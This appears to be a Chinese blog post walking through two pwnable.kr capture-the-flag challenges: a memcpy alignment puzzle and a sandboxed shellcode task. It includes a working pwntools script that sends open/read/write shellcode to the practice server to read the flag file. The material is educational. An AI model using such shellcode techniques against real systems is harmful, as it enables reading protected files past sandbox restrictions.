萌新带你开车上p站(完结篇)
本文作者:萌新
前情回顾:
回顾一下前篇,我们开始新的内容吧
0x16memcpy
源码在http://pwnable.kr/bin/memcpy.c
直接编译可能会报错,根据报错提示是因为缺少相应的头文件
因为编译选项-m32:编译出来的是32位程序,既可以在32位操作系统运行,又可以在64位操作系统运行。这就需要multilib,它可以支持在64位机器上生成32位和64位的文件。
如图所示解决即可:apt-get install gcc-multilib
接下来就可以了
测试运行
没有拿到flag
关键点:
程序打印10轮在2的各次幂,要求用户依次输入10个满足该区间的数,然后根据用户的输入malloc()在堆上进行分配。然后分别通过slow_memcpy,fats_memcpy进行src到dst的拷贝操作。比较花费的时间。
由上图可知,slow_memcpy是单个单个字节复制,而fast_copy在复制的字节数小于64时用slow的,大于64时,通过内联汇汇编,使用sse2的指令集movdqa,movntps借助寄存器复制
可知,操作数应按16字节对齐
所以出错的原因就是在这儿
传给fast_memcpy的dst是malloc返回的
而我们知道,malloc在分配时会多分配4字节用于存储堆的其他信息,而且会进行8字节的自动补齐,最后返回开启的起始地址
换句话说,只要malloc每次请求大小为16字节对齐的空间就满足条件了
设传给malloc的为a,则满足(a+4)%16>9或者(a+4)%16=0即可
这里给出一组符合条件的值
8 26 38 69 136 264 520 1032 2056 4104
0x17 asm
源码比较长,可以ssh asm@pwnable.kr -p2222 (pw: guest)登录后自行查看
这里给出关键点:
做了一个沙箱的环境
只给我们留下了open,read,werite,exit等方法
一段stub
转成汇编
可以看到作用是清空各个寄存器
sh由mmap分配,然后插入stub,再读我们的shellcode,设置沙箱
沙箱规则已经解释过了,可想可知,我们的shellcode该做的就是open打开flag,read读取,然后使用write将flag写到标准输出上
pwntools的shellcraft可用于生成shellcode
这三个函数在pwntools的原型
在调用open函数后文件描述符fd在rax中,rsp为栈指针寄存器,指向buf
fd=1代表标准输出,所以得到下面的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import * context.arch = "amd64" context.os = "linux" p = remote( "pwnable.kr" , 9026) shellcode = "" filename = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong" shellcode += shellcraft.open(filename) shellcode += shellcraft.read( 'rax' , 'rsp' , 100) shellcode += shellcraft.write(1, 'rsp' , 100) p.recvuntil( "shellcode: " ) p.send(asm(shellcode)) print p.recv() |
运行后拿到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)